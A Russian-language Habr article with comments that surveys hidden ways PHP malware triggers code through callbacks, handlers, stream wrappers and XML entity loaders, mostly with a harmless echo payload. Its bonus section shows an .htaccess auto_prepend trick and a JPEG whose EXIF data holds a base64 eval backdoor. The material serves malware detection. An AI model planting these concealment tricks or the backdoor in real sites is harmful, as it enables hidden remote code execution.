Продвинутые методы неявного вызова php кода, использующиеся во вредоносных скриптах

    Логичным продолжением заметки про неявные вызовы php кода во вредоносных скриптах будет ее вторая часть, в которой я рассмотрю более сложные и менее очевидные варианты использования различных обработчиков и загрузчиков php, а в конце статьи приведу несколько примеров, как еще хакеры неявно вызывают вредоносный код и php скрипты на сайте.

    В качестве примера вредоносного кода снова будем использовать вызов

    echo 'Test'
    


    Поскольку цель статьи показать различные подходы и механизмы скрытого выполнения кода, то для простоты функция, которая выполняет наш «вредоносный код» будет объявлена рядом с вызываемым ее неявно кодом. В реальной жизни вредоносный код и его вызов находятся далеко друг от друга, как минимум в разных php скриптах, но чаще код подгружается из базы данных, мета-данных изображений, с другого сервера, после чего выполняется функцией eval, assert, preg_replace и им подобными.



    Вариант №1: использование механизма autoload.

    Вредоносный код вызывается в autoload обработчике при создании несуществующего класса.

    <?php
    function __autoload($classname) {
      echo 'Test';
    }
    
    //...
    new myEvilClass();
    


    Вариант №2: использование еще одного механизма autoload в версии 5.3 и выше

    <?php
    // php >= 5.3.0
    
    class EvilClass {
        static public function evil($name) {
            echo 'Test';
        }
    }
    
    // ...
    
    spl_autoload_register(__NAMESPACE__ .'\EvilClass::evil'); 
    
    // ...
    
    new Malware; 
    


    Вариант №3: использование обработчика сессии.

    В момент создания сессии будет вызвана зарегистрированная функция.

    <?php
    function just_do_it() {
      echo 'Test';
    }
    
    // ...
    
    $f = function() {};
    session_set_save_handler("just_do_it", $f, $f, $f, $f, $f);
    @session_start();
    
    


    Вариант №4: использование итератора.

    Для разнообразия не будем явно объявлять функцию. В приведенном ниже варианте код функции можно взять из любого хранилища в
    виде строки и создать функцию в рантайме.

    <?php
    $f = create_function('', "echo 'Test';");
    
    // ...
    
    $it = new ArrayIterator(array(''));
    iterator_apply($it, $f, array($it));
    


    Вариант №5: вызов через обработчик исключений.

    В этом врианте код для вызова может быть передан в качестве текста исключения.

    <?php
    function exception_handler($e) {
      preg_replace_callback('||', create_function('', $e->getMessage()), ''); 
    }
    
    // ...
    
    set_exception_handler('exception_handler');
    
    // ...
    
    throw new Exception('echo "Test";');
    


    Вариант №6: использование обработчика ошибок.

    Подход подобен №5, но код неявно вызывается методами trigger_error() или user_error(). Сам код передается через текст ошибки. Стоит отметить, что данное решение работает при любых настройках error_reporting.

    <?php
    function error_handler($errno, $errstr, $errfile, $errline) {
      array_map(create_function('', $errstr), array(''));
    }
    
    // ...
    
    set_error_handler('error_handler');
    $badcode = 'echo "Test";';
    
    trigger_error($badcode, E_USER_ERROR); // или user_error();
    


    Вариант №7: использование собственного загрузчика сущностей.

    Работает начиная с версии 5.4. Вредоносный код может быть в XML тегах или в служебных полях документа.

    <?php
    // для php >= 5.4
    
    $xml =<<<XML
    <!DOCTYPE zlodei PUBLIC "echo 'Test';" "http://example/">
    <zlodei>bar</zlodei>
    XML;
    
    $dtd =<<<DTD
    <!ELEMENT zlodei (#PCDATA)>
    DTD;
    
    libxml_set_external_entity_loader(
        function ($public, $system, $context) use($dtd) {
           array_reduce(array(''), create_function('', $public)); 
        }
    );
    
    // ...
    
    $dd = new DOMDocument;
    $r  = $dd->loadXML($xml);
    @$dd->validate();
    


    Вариант №8: создание собственного стрима для неявного вызова кода

    Регистрируется обработчик потоков и любыми функциями, поддерживающими работу со стримами, можно выполнить код, который может быть передан в url или записан в поток. Для разнообразия вместо банального eval() код вызывается через create_function().

    <?php
    class MalwareStream {
        function stream_open($path, $mode, $options, &$opened_path)
        {
            $url = parse_url($path);
            $f = create_function('', $url["host"]);
            $f();
    
            return true;
        }
    }
    
    // ...
    
    stream_wrapper_register("malw", "MalwareStream");
    
    // ...
    
    $fp = fopen('malw://echo "Test";', '');
    


    В отличие от конструкций, перечисленных в предыдущей заметке, обнаружить подобные неявные вызовы кода при статическом анализе достаточно проблематично. Серверным антивирусным сканерам это пока не под силу.

    Бонус трек

    Какие еще варианты используют хакеры, чтобы загрузить и выполнить вредоносный код?

    Во-первых, использование директив php_auto_append / php_auto_prepend в .htaccess файле или php.ini. Например,

    php_value auto_prepend_file /images/stories/mycode.jpg
    


    будет выполнять код из файла mycode.jpg перед выполнением любого скрипта.

    Во-вторых, динамическая загрузка расширений функцией dl(). Для этого должен быть собран .so (*nix) или .dll (windows) модуль. Это достаточно редкий случай, тем не менее и он имеет место быть. Продвинутые хакеры могут разрабатывать и инжектировать модули в апач или nginx.

    В-третьих, есть конструкция c обратными кавычками (являющаяся алиасом для shell_exec):

    <?php
    $a = `ls -la`; 
    echo $a;
    


    Она также выполнит системную команду ls -la, если, конечно, shell_exec разрешен в настройках php.

    И напоследок пример неявного вызова кода, который загружается из exif заголовка jpeg файла.

    <?php
    $exif = exif_read_data('/home/website/images/stories/food/evil.jpg');
    preg_replace($exif['Make'],$exif['Model'],'');
    


    А jpg файл выглядит примерно так:

    yOya^@^PJFIF^@^A^B^@^@d^@d^@^@ya^@?Exif^@^@II*^@
    ^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
    @ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
    HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
    @yi^@^QDucky^@^A^@^D^@^@^@<^@^@yi^@^NAdobe^...


    Из поля Make берется /.*/e, из поля Model — @ eval(base64_decode(...)) и выполняется через preg_replace() из-за модификатора «e».

    Благодарю за внимание.
    Поделиться публикацией
    Реклама помогает поддерживать и развивать наши сервисы

    Подробнее
    Реклама
    Комментарии 11
    • +1
      Воот, так уже лучше :)

      И кстати:

      > Во-вторых, динамическая загрузка расширений функцией dl().

      5.3.0: dl() is now disabled in some SAPIs due to stability issues. The only SAPIs that allow dl() are CLI and Embed.
      • +6
        Это скорее по большей части не по вредоносный код, а про то как не надо делать, чтобы не огрести от коллег.
        Вредоносный код то обычно стараются сам по себе сделать незаметным, а как он потом уже будет вызываться — уже не так важно, его ищут с другого конца. Вот «Бонус трек» уже под это подходит.
        • 0
          Круто, вы хотите описать все 100500 способов?
          Зачем всё это, в таком случае нужно почистить, как в предыдущей статье в заминусовоном комменте habrahabr.ru/post/215139/#comment_7388239 через reset или что у вас там следит за кодом.
          А затем искать кудой его вставили.
          • +3
            У меня какое-то дежавю:
            10 марта, 12:11: mnemonic: Какие функции я забыл перечислить, которые принимают callback или callable?

            10 марта, 12:42: bolk: Да море их. Например, array_filter, array_reduce, array_udiff_assoc, array_udiff_uassoc, array_udiff, array_uintersect_assoc, array_uintersect_uassoc, array_uintersect, array_walk_recursive, array_walk. Это по доке в разделе «массивы» просматривал. Есть и они в других разделах, например, гляньте на libxml_set_external_entity_loader или iterator_apply. В общем, не стоит их все выписывать.

            Кроме того, вы ничего не написали про autoload, про замену сериализатора на свой, про замену сессий на свои, про собственные обработчики стримов, set_exception_handler и так далее. Способов целая куча.
            А бонус-трек ваш взят из комментария к предыдущей статье. Т.е. люди за вас подумали, а вы из этого статью сделали без указания источника? Делааа…
            • +2
              Большинство это все же просто create_function. От суперпозиции ничего не меняется.
              hide(create(func(you(way('code')))))
              • 0
                Спасибо, узнал про уязвимость в собственном коде :)
                • 0
                  Пару дней назад появился еще более интересный метод:

                  function a () {
                       global $template;
                       
                       $template = "echo 'Test'; // ";
                  }
                  
                  function b () {
                       a();
                  
                       $x = true;
                       return ($x ? 'true' : 'false') . ';';
                  }
                  
                  $template = '$tpl = ';
                  
                  eval($template . b());  
                  

                  Смотреть всё
                  • +1
                    Все бы ничего, но код легко «палится» любым сканером и ищется «ручками» из-за банального eval(). А анализ того, что будет выполнено, делается простой заменой eval на echo.
                    • 0
                      А у вас банальный create_function()? Это же только примеры, хотя, например в vB, eval — неотъемлемая часть движка. Никто не будет наивно копировать и вставлять. Закладку обязательно раскидают по библиотекам, наставят условий, замаскируют. Способ может изменять логику, а не вызывать код.
                      • –1
                        Не банальный create_function(). Смотрите habrahabr.ru/post/215139/, я перечислил как минимум
                        1. eval
                        2. create_function
                        3. косвенный вызов функций вида $a($b)
                        4. assert
                        5. preg_replace с модификатором «e»
                        6. вызов через функции, принимающие callable (хэндлеры, работа с массивами и т.п.)

                        Причем для тех, кто занимается поиском вредоносного кода на сайте очевидно, что конструкции №3 и №6 наиболее сложно найти, так как они характерны для нормальных скриптов. А вот eval, assert, preg_replace(/.*/e) ищутся очень быстро. Если хакер не школьник и не лентяй, он все-таки код свой банальным eval'ом не будет «палить».

                        Да и потом, какой смысл наворачивать сложную логику подготовки кода для выполнения, если в конце концов обычная замена eval на echo распечатывает результирующий исходный код, который легко проанализировать.
                        • 0
                          Да и потом, какой смысл наворачивать сложную логику подготовки кода для выполнения, если в конце концов обычная замена eval на echo распечатывает результирующий исходный код, который легко проанализировать.

                          Вредоносный код не только 10 строк, которые «хакер» вставил после взлома. Это искусство, где используют комбинации всех методов. Его внедряют в официальные версии движков. Его стараются спрятать, ведь сотни людей занимаются сравнением версий и поиском уязвимостей.

                          Разумеется, ни о каких вариантах выбора вызова здесь речи не идет. Мой пример, как и ваши, годится только для первой задачи. Для второй же, будет просто найти участки с вызовом $a($b) и анализировать их, однако, когда код исчисляется мегабайтами, место, где использовали особенности интерпретации выражений, найти очень и очень проблематично.

                  Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.